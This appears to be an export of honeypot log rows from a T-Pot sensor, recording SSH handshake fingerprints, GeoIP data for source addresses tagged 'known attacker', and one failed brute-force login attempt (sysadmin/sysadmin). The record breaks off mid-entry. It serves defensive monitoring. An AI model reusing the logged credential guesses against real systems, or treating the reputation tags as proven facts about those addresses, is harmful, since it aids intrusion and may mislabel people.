20766	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:06:09.705203+03	2021-09-20 14:15:02.795613+03	{"_id": "OAXiAnwBvYTbRNuEffvU", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["chacha20-poly1305@openssh.com", "aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc", "blowfish-cbc", "cast128-cbc", "arcfour256", "arcfour128", "arcfour"], "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "macCS": ["umac-64-etm@openssh.com", "umac-128-etm@openssh.com", "hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-md5-etm@openssh.com", "hmac-sha2-256-96-etm@openssh.com", "hmac-sha2-512-96-etm@openssh.com", "hmac-sha1-96-etm@openssh.com", "hmac-md5-96-etm@openssh.com", "umac-64@openssh.com", "umac-128@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-md5", "hmac-sha2-256-96", "hmac-sha2-512-96", "hmac-sha1-96", "hmac-md5-96"], "compCS": ["zlib@openssh.com", "zlib", "none"], "ip_rep": "known attacker", "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "curve448-sha512", "ecdh-sha2-nistp521", "ecdh-sha2-nistp384", "ecdh-sha2-nistp256", "ecdh-sha2-1.3.132.0.10", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha256", "diffie-hellman-group15-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group17-sha512", "diffie-hellman-group18-sha512", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "rsa2048-sha256", "rsa1024-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519-cert-v01@openssh.com", "ssh-ed448-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com", "ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ssh-ed25519", "ssh-ed448", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "ecdsa-sha2-1.3.132.0.10", "rsa-sha2-256", "rsa-sha2-512", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11", "session": "96a155175b8d", "@version": "1", "timestamp": "2021-09-20T11:06:09.705203Z", "@timestamp": "2021-09-20T11:06:09.705Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}}	1	\N	cowrie.client.kex	\N	known attacker	\N
20767	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:06:09.767999+03	2021-09-20 14:15:02.797613+03	{"_id": "OQXiAnwBvYTbRNuEffvU", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.login.failed", "message": "login attempt [sysadmin/sysadmin] failed", "session": "eede082e62d5", "@version": "1", "password": "sysadmin", "username": "sysadmin", "timestamp": "2021-09-20T11:06:09.767999Z", "@timestamp": "2021-09-20T11:06:09.767Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	\N	\N
20768	116.105.211.46	109.199.241.180	Fatt	2021-09-20 14:06:09.451595+03	2021-09-20 14:15:02.798614+03	{"_id": "RAXiAnwBvYTbRNuEffvX", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "116.105.211.46", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "src_ip": "116.105.211.46", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519-cert-v01@openssh.com,ssh-ed448-cert-v01@openssh.com,ecdsa-sha2-nistp521-cert-v01@openssh.com,ecdsa-sha2-nistp384-cert-v01@openssh.com,ecdsa-sha2-nistp256-cert-v01@openssh.com,ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com,ssh-rsa-cert-v01@openssh.com,ssh-dss-cert-v01@openssh.com,ssh-ed25519,ssh-ed448,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,ecdsa-sha2-1.3.132.0.10,rsa-sha2-256,rsa-sha2-512,ssh-rsa,ssh-dss", "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "ccacts": "zlib@openssh.com,zlib,none", "ccastc": "zlib@openssh.com,zlib,none", "ceacts": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "ceastc": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "client": "SSH-2.0-AsyncSSH_2.1.0", "cmacts": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "cmastc": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 41058, "dest_port": 22, "timestamp": "2021-09-20T11:06:09.451595", "@timestamp": "2021-09-20T11:06:09.451Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
20769	116.98.160.162	109.199.241.180	Fatt	2021-09-20 14:06:09.574034+03	2021-09-20 14:15:02.800613+03	{"_id": "RQXiAnwBvYTbRNuEffvX", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "src_ip": "116.98.160.162", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519-cert-v01@openssh.com,ssh-ed448-cert-v01@openssh.com,ecdsa-sha2-nistp521-cert-v01@openssh.com,ecdsa-sha2-nistp384-cert-v01@openssh.com,ecdsa-sha2-nistp256-cert-v01@openssh.com,ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com,ssh-rsa-cert-v01@openssh.com,ssh-dss-cert-v01@openssh.com,ssh-ed25519,ssh-ed448,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,ecdsa-sha2-1.3.132.0.10,rsa-sha2-256,rsa-sha2-512,ssh-rsa,ssh-dss", "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "ccacts": "zlib@openssh.com,zlib,none", "ccastc": "zlib@openssh.com,zlib,none", "ceacts": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "ceastc": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "client": "SSH-2.0-AsyncSSH_2.1.0", "cmacts": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "cmastc": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 44104, "dest_port": 22, "timestamp": "2021-09-20T11:06:09.574034", "@timestamp": "2021-09-20T11:06:09.574Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	known attacker	\N
20775	223.241.247.214	109.199.241.180	Suricata	2021-09-20 14:06:10.782917+03	2021-09-20 14:15:02.809613+03	{"_id": "TAXiAnwBvYTbRNuEgPuj", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "libssh_0.9.6"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "223.241.247.214", "asn": 4134, "as_org": "Chinanet", "latitude": 31.8642, "location": {"lat": 31.8642, "lon": 117.2865}, "timezone": "Asia/Shanghai", "longitude": 117.2865, "region_code": "AH", "region_name": "Anhui", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "223.241.247.214", "dest_ip": "192.168.20.116", "flow_id": 1015402933157123, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 59570, "dest_port": 22, "timestamp": "2021-09-20T11:06:10.782917Z", "@timestamp": "2021-09-20T11:06:10.782Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	known attacker	\N
20770	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:06:09.652578+03	2021-09-20 14:15:02.801613+03	{"_id": "RgXiAnwBvYTbRNuEffvX", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "116.98.160.162", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 44560, "timestamp": "2021-09-20T11:06:09.652578", "@timestamp": "2021-09-20T11:06:09.652Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
20771	116.98.160.162	109.199.241.180	Fatt	2021-09-20 14:06:09.704583+03	2021-09-20 14:15:02.803612+03	{"_id": "RwXiAnwBvYTbRNuEffvX", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "src_ip": "116.98.160.162", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519-cert-v01@openssh.com,ssh-ed448-cert-v01@openssh.com,ecdsa-sha2-nistp521-cert-v01@openssh.com,ecdsa-sha2-nistp384-cert-v01@openssh.com,ecdsa-sha2-nistp256-cert-v01@openssh.com,ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com,ssh-rsa-cert-v01@openssh.com,ssh-dss-cert-v01@openssh.com,ssh-ed25519,ssh-ed448,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,ecdsa-sha2-1.3.132.0.10,rsa-sha2-256,rsa-sha2-512,ssh-rsa,ssh-dss", "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "ccacts": "zlib@openssh.com,zlib,none", "ccastc": "zlib@openssh.com,zlib,none", "ceacts": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "ceastc": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "client": "SSH-2.0-AsyncSSH_2.1.0", "cmacts": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "cmastc": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 44560, "dest_port": 22, "timestamp": "2021-09-20T11:06:09.704583", "@timestamp": "2021-09-20T11:06:09.704Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	known attacker	\N
20772	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:06:09.785638+03	2021-09-20 14:15:02.805612+03	{"_id": "SAXiAnwBvYTbRNuEffvX", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "115.72.130.93", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 44008, "timestamp": "2021-09-20T11:06:09.785638", "@timestamp": "2021-09-20T11:06:09.785Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
20773	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:06:09.439528+03	2021-09-20 14:15:02.806632+03	{"_id": "SQXiAnwBvYTbRNuEffvX", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.client.version", "message": "Remote SSH version: 